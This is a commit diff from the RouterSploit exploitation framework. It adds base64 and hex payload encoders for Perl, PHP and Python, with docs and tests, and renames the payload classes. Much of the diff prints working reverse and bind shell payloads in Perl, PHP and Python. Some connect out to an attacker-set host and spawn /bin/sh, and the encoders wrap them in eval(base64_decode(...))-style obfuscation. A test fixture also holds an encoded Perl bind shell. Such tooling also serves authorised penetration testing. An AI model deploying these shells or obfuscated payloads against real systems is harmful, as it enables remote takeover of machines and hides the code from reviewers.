Unverified Commit e29ba771 by Marcin Bury Committed by GitHub

Encoders (#472)

* Initial work on encoders

* Adding tests and docs to initial encoders
parent b925c019
## Description
Module encodes Perl payload to base64 format.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use encoders/perl/base64`
3. Do: `show info`
## Scenarios
```
rsf > use encoders/perl/base64
rsf (Perl Base64 Encoder) > show info
Name:
Perl Base64 Encoder
Description:
Module encodes PERL payload to Base64 format.
Authors:
- Marcin Bury <marcin[at]threat9.com>
```
## Description
Module encodes PHP payload to base64 format.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use encoders/php/base64`
3. Do: `show info`
## Scenarios
```
rsf > use encoders/php/base64
rsf (PHP Base64 Encoder) > show info
Name:
PHP Base64 Encoder
Description:
Module encodes PHP payload to Base64 format.
Authors:
- Marcin Bury <marcin[at]threat9.com>
```
## Description
Module encodes PHP payload to Hex format.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use encoders/php/hex`
3. Do: `show info`
## Scenarios
```
rsf > use encoders/php/hex
rsf (PHP Hex Encoder) > show info
Name:
PHP Hex Encoder
Description:
Module encodes PHP payload to Hex format.
Authors:
- Marcin Bury <marcin[at]threat9.com>
```
## Description
Module encodes Python payload to base64 format.
## Verification Steps
1. Start `./rsf.py`
2. Do: `use encoders/python/base64`
3. Do: `show info`
## Scenarios
```
rsf > use encoders/python/base64
rsf (Python Base64 Encoder) > show info
Name:
Python Base64 Encoder
Description:
Module encodes Python payload to Base64 format.
Authors:
- Marcin Bury <marcin[at]threat9.com>
```
from routersploit.core.exploit.exploit import (
BaseExploit,
)
from routersploit.core.exploit.printer import (
print_error,
)
class BaseEncoder(BaseExploit):
architecture = None
def __init__(self):
self.module_name = self.__module__.replace("routersploit.modules.encoders.", "").replace(".", "/")
def encode(self):
raise NotImplementedError("Please implement 'encode()' method")
def run(self):
print_error("Module cannot be run")
def __str__(self):
return self.module_name
def __format__(self, form):
return format(self.module_name, form)
import os
import importlib
from collections import namedtuple
from struct import pack
from future.utils import with_metaclass
......@@ -24,7 +26,7 @@ from routersploit.core.exploit.utils import (
)
architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE", "X86", "X64"])
architectures = namedtuple("ArchitectureType", ["ARMLE", "MIPSBE", "MIPSLE", "X86", "X64", "PERL", "PHP", "PYTHON"])
payload_handlers = namedtuple("PayloadHandlers", ["BIND_TCP", "REVERSE_TCP"])
Architectures = architectures(
......@@ -33,6 +35,9 @@ Architectures = architectures(
MIPSLE="mipsle",
X86="x86",
X64="x64",
PERL="perl",
PHP="php",
PYTHON="python",
)
PayloadHandlers = payload_handlers(
......@@ -98,7 +103,10 @@ class BindTCPPayloadMixin(with_metaclass(ExploitOptionsAggregator, object)):
class BasePayload(BaseExploit):
architecture = None
handler = None
encoder = OptString("", "Encoder")
fmt = None
def __init__(self):
if self.handler not in PayloadHandlers:
......@@ -114,14 +122,43 @@ class BasePayload(BaseExploit):
def run(self):
raise NotImplementedError()
def get_encoders(self):
path = "routersploit/modules/encoders/{}".format(self.architecture)
class ArchitectureSpecificPayload(BasePayload):
architecture = None
encoders = []
output = OptString('python', 'Output type: elf/c/python')
filepath = OptString(
"/tmp/{}".format(random_text(8)), 'Output file to write'
)
try:
files = os.listdir(path)
except FileNotFoundError:
return []
for f in files:
if not f.startswith("__") and f.endswith(".py"):
encoder = f.replace(".py", "")
module_path = "{}/{}".format(path, encoder).replace("/", ".")
module = getattr(importlib.import_module(module_path), "Encoder")
encoders.append((
"{}/{}".format(self.architecture, encoder),
module._Encoder__info__["name"],
module._Encoder__info__["description"],
))
return encoders
def get_encoder(self, encoder):
module_path = "routersploit/modules/encoders/{}".format(encoder).replace("/", ".")
try:
module = getattr(importlib.import_module(module_path), "Encoder")
except ImportError:
return None
return module()
class ArchitectureSpecificPayload(BasePayload):
output = OptString("python", "Output type: elf/c/python")
filepath = OptString("/tmp/{}".format(random_text(8)), "Output file to write")
def __init__(self):
super(ArchitectureSpecificPayload, self).__init__()
......@@ -144,7 +181,7 @@ class ArchitectureSpecificPayload(BasePayload):
return
if self.output == "elf":
with open(self.filepath, 'wb+') as f:
with open(self.filepath, "wb+") as f:
print_status("Building ELF payload")
content = self.generate_elf(data)
print_success("Saving file {}".format(self.filepath))
......@@ -162,6 +199,8 @@ class ArchitectureSpecificPayload(BasePayload):
"No such option as {}".format(self.output)
)
return content
def generate_elf(self, data):
elf = self.header + data
......@@ -210,6 +249,13 @@ class ArchitectureSpecificPayload(BasePayload):
class GenericPayload(BasePayload):
def run(self):
print_status("Generating payload")
print_info(
self.generate()
)
payload = self.generate()
if self.encoder:
payload = self.encoder.encode(payload)
if self.fmt:
payload = self.fmt.format(payload)
print_info(payload)
return payload
......@@ -78,7 +78,13 @@ def import_exploit(path):
try:
module = importlib.import_module(path)
return getattr(module, "Exploit")
if hasattr(module, "Payload"):
return getattr(module, "Payload")
elif hasattr(module, "Encoder"):
return getattr(module, "Encoder")
elif hasattr(module, "Exploit"):
return getattr(module, "Exploit")
except (ImportError, AttributeError, KeyError) as err:
raise RoutersploitException(
"Error during loading '{}'\n\n"
......
......@@ -31,6 +31,7 @@ from routersploit.core.exploit.printer import (
printer_queue
)
from routersploit.core.exploit.exploit import GLOBAL_OPTS
from routersploit.core.exploit.payloads import BasePayload
import readline
......@@ -207,7 +208,7 @@ class RoutersploitInterpreter(BaseInterpreter):
self.raw_prompt_template = None
self.module_prompt_template = None
self.prompt_hostname = "rsf"
self.show_sub_commands = ("info", "options", "devices", "all", "creds", "exploits", "scanners", "wordlists")
self.show_sub_commands = ("info", "options", "devices", "all", "encoders", "creds", "exploits", "scanners", "wordlists")
self.global_commands = sorted(["use ", "exec ", "help", "exit", "show ", "search "])
self.module_commands = ["run", "back", "set ", "setg ", "check"]
......@@ -238,12 +239,13 @@ class RoutersploitInterpreter(BaseInterpreter):
Join Threat9 Beta Program - https://www.threat9.com
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Generic: {generic_count} Payloads: {payloads_count}
Exploits: {exploits_count} Scanners: {scanners_count} Creds: {creds_count} Generic: {generic_count} Payloads: {payloads_count} Encoders: {encoders_count}
""".format(exploits_count=self.modules_count["exploits"],
scanners_count=self.modules_count["scanners"],
creds_count=self.modules_count["creds"],
generic_count=self.modules_count["generic"],
payloads_count=self.modules_count["payloads"])
payloads_count=self.modules_count["payloads"],
encoders_count=self.modules_count["encoders"])
def __parse_prompt(self):
raw_prompt_default_template = "\001\033[4m\002{host}\001\033[0m\002 > "
......@@ -343,6 +345,13 @@ class RoutersploitInterpreter(BaseInterpreter):
def command_set(self, *args, **kwargs):
key, _, value = args[0].partition(" ")
if key in self.current_module.options:
if key == "encoder":
value = self.current_module.get_encoder(value)
if not value:
print_error("Encoder not available. Check available encoders with `show encoders`.")
return
setattr(self.current_module, key, value)
self.current_module.exploit_attributes[key][0] = value
......@@ -451,6 +460,17 @@ class RoutersploitInterpreter(BaseInterpreter):
print_table(headers, *wordlists, max_column_length=100)
@module_required
def _show_encoders(self, *args, **kwargs):
if issubclass(self.current_module.__class__, BasePayload):
encoders = self.current_module.get_encoders()
if encoders:
headers = ("Encoder", "Name", "Description")
print_table(headers, *encoders, max_column_length=100)
return
print_error("No encoders available")
def __show_modules(self, root=''):
for module in [module for module in self.modules if module.startswith(root)]:
print_info(module.replace('.', os.sep))
......
from base64 import b64encode
from routersploit.core.exploit.encoders import BaseEncoder
from routersploit.core.exploit.payloads import Architectures
class Encoder(BaseEncoder):
__info__ = {
"name": "Perl Base64 Encoder",
"description": "Module encodes PERL payload to Base64 format.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.PERL
def encode(self, payload):
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "use MIME::Base64;eval(decode_base64('{}'));".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.encoders import BaseEncoder
from routersploit.core.exploit.payloads import Architectures
class Encoder(BaseEncoder):
__info__ = {
"name": "PHP Base64 Encoder",
"description": "Module encodes PHP payload to Base64 format.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.PHP
def encode(self, payload):
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "eval(base64_decode('{}'));".format(encoded_payload)
from binascii import hexlify
from routersploit.core.exploit.encoders import BaseEncoder
from routersploit.core.exploit.payloads import Architectures
class Encoder(BaseEncoder):
__info__ = {
"name": "PHP Hex Encoder",
"description": "Module encodes PHP payload to Hex format.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.PHP
def encode(self, payload):
encoded_payload = str(hexlify(bytes(payload, "utf-8")), "utf-8")
return "eval(hex2bin('{}'));".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.encoders import BaseEncoder
from routersploit.core.exploit.payloads import Architectures
class Encoder(BaseEncoder):
__info__ = {
"name": "Python Base64 Encoder",
"description": "Module encodes Python payload to Base64 format.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.PYTHON
def encode(self, payload):
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "exec('{}'.decode('base64'))".format(encoded_payload)
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "ARMLE Bind TCP",
"description": "Creates interactive tcp bind shell for ARMLE architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "ARMLE Reverse TCP",
"description": "Creates interactive tcp reverse shell for ARMLE architecture.",
......
......@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Awk Bind TCP",
"description": "Creates an interactive tcp bind shell by using (g)awk.",
......
......@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Awk Bind UDP",
"description": "Creates an interactive udp bind shell by using (g)awk.",
......
......@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Awk Reverse TCP",
"description": "Creates an interactive tcp reverse shell by using (g)awk.",
......
......@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Bash Reverse TCP",
"description": "Creates interactive tcp reverse shell by using bash.",
......
......@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Netcat Bind TCP",
"description": "Creates interactive tcp bind shell by using netcat.",
......
......@@ -2,7 +2,7 @@ from routersploit.core.exploit import *
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Netcat Reverse TCP",
"description": "Creates interactive tcp reverse shell by using netcat.",
......
from routersploit.core.exploit import *
from routersploit.modules.payloads.perl.bind_tcp import Exploit as PerlBindTCP
from routersploit.modules.payloads.perl.bind_tcp import Payload as PerlBindTCP
class Exploit(PerlBindTCP):
class Payload(PerlBindTCP):
__info__ = {
"name": "Perl Bind TCP One-Liner",
"description": "Creates interactive tcp bind shell by using perl one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PerlBindTCP):
cmd = OptString("perl", "Perl binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = "{} -MIO -e \"{}\"".format(self.cmd, payload)
return cmd
self.fmt = self.cmd + " -MIO -e \"{}\""
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.perl.reverse_tcp import Exploit as PerlReverseTCP
from routersploit.modules.payloads.perl.reverse_tcp import Payload as PerlReverseTCP
class Exploit(PerlReverseTCP):
class Payload(PerlReverseTCP):
__info__ = {
"name": "Perl Reverse TCP One-Liner",
"description": "Creates interactive tcp reverse shell by using perl one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PerlReverseTCP):
cmd = OptString("perl", "Perl binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = "{} -MIO -e \"{}\"".format(self.cmd, payload)
return cmd
self.fmt = self.cmd + " -MIO -e \"{}\""
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.php.bind_tcp import Exploit as PHPBindTCP
from routersploit.modules.payloads.php.bind_tcp import Payload as PHPBindTCP
class Exploit(PHPBindTCP):
class Payload(PHPBindTCP):
__info__ = {
"name": "PHP Bind TCP One-Liner",
"description": "Creates interactive tcp bind shell by using php one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PHPBindTCP):
cmd = OptString("php", "PHP binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = '{} -r "{}"'.format(self.cmd, payload)
return cmd
self.fmt = self.cmd + ' -r "{}"'
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.php.reverse_tcp import Exploit as PHPReverseTCP
from routersploit.modules.payloads.php.reverse_tcp import Payload as PHPReverseTCP
class Exploit(PHPReverseTCP):
class Payload(PHPReverseTCP):
__info__ = {
"name": "PHP Reverse TCP One-Liner",
"description": "Creates interactive tcp reverse shell by using php one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PHPReverseTCP):
cmd = OptString("php", "PHP binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = '{} -r "{}"'.format(self.cmd, payload)
return cmd
self.fmt = self.cmd + ' -r "{}"'
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.python.bind_tcp import Exploit as PythonBindTCP
from routersploit.modules.payloads.python.bind_tcp import Payload as PythonBindTCP
class Exploit(PythonBindTCP):
class Payload(PythonBindTCP):
__info__ = {
"name": "Python Reverse TCP One-Liner",
"description": "Creates interactive tcp bind shell by using python one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PythonBindTCP):
cmd = OptString("python", "Python binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = '{} -c "{}"'.format(self.cmd, payload)
return cmd
self.fmt = self.cmd + ' -c "{}"'
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.python.bind_udp import Exploit as PythonBindUDP
from routersploit.modules.payloads.python.bind_udp import Payload as PythonBindUDP
class Exploit(PythonBindUDP):
class Payload(PythonBindUDP):
__info__ = {
"name": "Python Bind UDP One-Liner",
"description": "Creates interactive udp bind shell by using python one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PythonBindUDP):
cmd = OptString("python", "Python binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = '{} -c "{}"'.format(self.cmd, payload)
return cmd
self.fmt = self.cmd + ' -c "{}"'
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.python.reverse_tcp import Exploit as PythonReverseTCP
from routersploit.modules.payloads.python.reverse_tcp import Payload as PythonReverseTCP
class Exploit(PythonReverseTCP):
class Payload(PythonReverseTCP):
__info__ = {
"name": "Python Reverse TCP One-Liner",
"description": "Creates interactive tcp reverse shell by using python one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PythonReverseTCP):
cmd = OptString("python", "Python binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = '{} -c "{}"'.format(self.cmd, payload)
return cmd
self.fmt = self.cmd + ' -c "{}"'
payload = super(Payload, self).generate()
return payload
from routersploit.core.exploit import *
from routersploit.modules.payloads.python.reverse_udp import Exploit as PythonBindUDP
from routersploit.modules.payloads.python.reverse_udp import Payload as PythonBindUDP
class Exploit(PythonBindUDP):
class Payload(PythonBindUDP):
__info__ = {
"name": "Python Reverse UDP One-Liner",
"description": "Creates interactive udp reverse shell by using python one-liner.",
......@@ -14,7 +14,6 @@ class Exploit(PythonBindUDP):
cmd = OptString("python", "Python binary")
def generate(self):
payload = super(Exploit, self).generate()
cmd = '{} -c "{}"'.format(self.cmd, payload)
return cmd
self.fmt = self.cmd + ' -c "{}"'
payload = super(Payload, self).generate()
return payload
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "MIPSBE Bind TCP",
"description": "Creates interactive tcp bind shell for MIPSBE architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "MIPSBE Reverse TCP",
"description": "Creates interactive tcp reverse shell for MIPSBE architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "MIPSLE Bind TCP",
"description": "Creates interactive tcp bind shell for MIPSLE architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "MIPSLE Reverse TCP",
"description": "Creates interactive tcp reverse shell for MIPSLE architecture.",
......
from base64 import b64encode
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
BindTCPPayloadMixin,
)
from routersploit.modules.encoders.perl.base64 import Encoder
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Perl Bind TCP",
"description": "Creates interactive tcp bind shell by using perl.",
......@@ -11,14 +16,14 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PERL
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"use IO;foreach my $key(keys %ENV){" +
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
str(self.rport) +
",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
"if($_=~ /(.*)/){system $1;}};"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "use MIME::Base64;eval(decode_base64('{}'));".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
ReverseTCPPayloadMixin,
)
from routersploit.modules.encoders.perl.base64 import Encoder
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Perl Reverse TCP",
"description": "Creates interactive tcp reverse shell by using perl.",
......@@ -11,8 +16,11 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PERL
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"use IO;foreach my $key(keys %ENV){" +
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,\"" +
self.lhost +
......@@ -20,6 +28,3 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
str(self.lport) +
"\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "use MIME::Base64;eval(decode_base64('{}'));".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
BindTCPPayloadMixin,
)
from routersploit.modules.encoders.php.base64 import Encoder
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "PHP Bind TCP",
"description": "Creates interactive tcp bind shell by using php.",
......@@ -12,8 +17,11 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PHP
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"$s=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);" +
"socket_bind($s,\"0.0.0.0\",{});".format(self.rport) +
"socket_listen($s,1);" +
......@@ -27,6 +35,3 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
"socket_write($cl,$m,strlen($m));" +
"}}"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "eval(base64_decode('{}'));".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
ReverseTCPPayloadMixin,
)
from routersploit.modules.encoders.php.base64 import Encoder
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "PHP Reverse TCP",
"description": "Creates interactive tcp reverse shell by using php.",
......@@ -11,11 +16,11 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PHP
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"$s=fsockopen(\"tcp://{}\",{});".format(self.lhost, self.lport) +
"while(!feof($s)){exec(fgets($s),$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "eval(base64_decode('{}'));".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
BindTCPPayloadMixin,
)
from routersploit.modules.encoders.python.base64 import Encoder
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Python Bind TCP",
"description": "Creates interactive tcp bind shell by using python.",
......@@ -11,8 +16,11 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PYTHON
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"import socket,os\n" +
"so=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
"so.bind(('0.0.0.0',{}))\n".format(self.rport) +
......@@ -25,6 +33,3 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
"\tstdout_value=stdout.read()+stderr.read()\n" +
"\tso.send(stdout_value)\n"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "exec('{}'.decode('base64'))".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import BindTCPPayloadMixin, GenericPayload
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
BindTCPPayloadMixin,
)
from routersploit.modules.encoders.python.base64 import Encoder
class Exploit(BindTCPPayloadMixin, GenericPayload):
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Python Bind UDP",
"description": "Creates interactive udp bind shell by using python.",
......@@ -12,8 +17,11 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PYTHON
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"from subprocess import Popen,PIPE\n" +
"from socket import socket, AF_INET, SOCK_DGRAM\n" +
"s=socket(AF_INET,SOCK_DGRAM)\n" +
......@@ -23,6 +31,3 @@ class Exploit(BindTCPPayloadMixin, GenericPayload):
"\tout=Popen(data,shell=True,stdout=PIPE,stderr=PIPE).communicate()\n" +
"\ts.sendto(''.join([out[0],out[1]]),addr)\n"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "exec('{}'.decode('base64'))".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
ReverseTCPPayloadMixin,
)
from routersploit.modules.encoders.python.base64 import Encoder
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Python Reverse TCP",
"description": "Creates interactive tcp reverse shell by using python.",
......@@ -11,8 +16,11 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PYTHON
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"import socket,subprocess,os\n" +
"s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\n" +
"s.connect(('{}',{}))\n".format(self.lhost, self.lport) +
......@@ -21,6 +29,3 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
"os.dup2(s.fileno(),2)\n" +
"p=subprocess.call([\"/bin/sh\",\"-i\"])"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "exec('{}'.decode('base64'))".format(encoded_payload)
from base64 import b64encode
from routersploit.core.exploit.payloads import GenericPayload, ReverseTCPPayloadMixin
from routersploit.core.exploit.option import OptString
from routersploit.core.exploit.payloads import (
GenericPayload,
Architectures,
ReverseTCPPayloadMixin,
)
from routersploit.modules.encoders.python.base64 import Encoder
class Exploit(ReverseTCPPayloadMixin, GenericPayload):
class Payload(ReverseTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Python Reverse UDP",
"description": "Creates interactive udp reverse shell by using python.",
......@@ -12,8 +17,11 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
),
}
architecture = Architectures.PYTHON
encoder = OptString(Encoder(), "Encoder")
def generate(self):
payload = (
return (
"import os\n" +
"import pty\n" +
"import socket\n" +
......@@ -25,6 +33,3 @@ class Exploit(ReverseTCPPayloadMixin, GenericPayload):
"pty.spawn('/bin/sh');\n" +
"s.close()\n"
)
encoded_payload = str(b64encode(bytes(payload, "utf-8")), "utf-8")
return "exec('{}'.decode('base64'))".format(encoded_payload)
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "X64 Bind TCP",
"description": "Creates interactive tcp bind shell for X64 architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "X64 Reverse TCP",
"description": "Creates interactive tcp reverse shell for X64 architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(BindTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "X86 Bind TCP",
"description": "Creates interactive tcp bind shell for X86 architecture.",
......
......@@ -6,7 +6,7 @@ from routersploit.core.exploit.payloads import (
)
class Exploit(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
class Payload(ReverseTCPPayloadMixin, ArchitectureSpecificPayload):
__info__ = {
"name": "X86 Reverse TCP",
"description": "Creates interactive tcp reverse shell for X86 architecture.",
......
from routersploit.modules.encoders.perl.base64 import Encoder
# perl bind tcp payload with rport=4321
bind_tcp = (
"use IO;foreach my $key(keys %ENV){" +
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
"4321" +
",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
"if($_=~ /(.*)/){system $1;}};"
)
# perl bind tcp payload with rport=4321 encoded with perl/base64
bind_tcp_encoded = (
"use MIME::Base64;eval(decode_base64('dXNlIElPO2ZvcmVhY2ggbXkgJGtleShrZXlzICVFTlYpe2lmKCRFTlZ7JGtleX09fi8oLiopLyl7JEVOVnska2V5fT0kMTt9fSRjPW5ldyBJTzo6U29ja2V0OjpJTkVUKExvY2FsUG9ydCw0MzIxLFJldXNlLDEsTGlzdGVuKS0+YWNjZXB0OyR+LT5mZG9wZW4oJGMsdyk7U1RESU4tPmZkb3BlbigkYyxyKTt3aGlsZSg8Pil7aWYoJF89fiAvKC4qKS8pe3N5c3RlbSAkMTt9fTs='));"
)
def test_payload_encoding():
""" Test scenario - payload encoding """
encoder = Encoder()
